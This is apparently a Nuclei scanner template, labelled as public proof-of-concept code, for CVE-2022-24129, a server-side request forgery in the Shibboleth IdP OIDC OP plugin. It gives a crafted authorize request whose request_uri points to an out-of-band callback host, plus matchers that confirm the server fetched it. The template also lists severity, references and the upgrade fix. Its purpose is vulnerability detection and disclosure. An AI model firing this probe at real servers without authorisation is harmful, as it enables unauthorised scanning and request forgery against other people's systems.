The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services.
PoC代码[已公开]
id: CVE-2022-24129
info:
name: Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery
author: 0x_Akoko
severity: high
description: The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services.
impact: |
An attacker can exploit this vulnerability to send crafted requests, potentially leading to unauthorized access to internal resources or information disclosure.
remediation: |
Upgrade to Shibboleth OIDC OP version 3.0.4 or later to mitigate the vulnerability.
reference:
- https://github.com/sbaresearch/advisories/tree/public/2022/SBA-ADV-20220127-01_Shibboleth_IdP_OIDC_OP_Plugin_SSRF
- https://shibboleth.atlassian.net/wiki/spaces/IDPPLUGINS/pages/1376878976/OIDC+OP
- http://shibboleth.net/community/advisories/
- https://nvd.nist.gov/vuln/detail/CVE-2022-24129
- http://shibboleth.net/community/advisories/secadv_20220131.txt
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
cvss-score: 8.2
cve-id: CVE-2022-24129
cwe-id: CWE-918
epss-score: 0.2188
epss-percentile: 0.95567
cpe: cpe:2.3:a:shibboleth:oidc_op:*:*:*:*:*:identity_provider:*:*
metadata:
max-request: 1
vendor: shibboleth
product: oidc_op
framework: identity_provider
tags: cve,cve2022,ssrf,oidc,shibboleth,identity_provider
http:
- method: GET
path:
- '{{BaseURL}}/idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://{{interactsh-url}}'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "ShibbolethIdp"
# digest: 4a0a00473045022100e152f6158ebeb1b7af16b0275dbf0190497aaad607939389bcfd42167017a3ec0220509fc0b28dd6c8949b357a1bfb59b4a668f009b273955b7d9c6f79b6301fd2ab:922c64590222798bb761d5b6d8e72950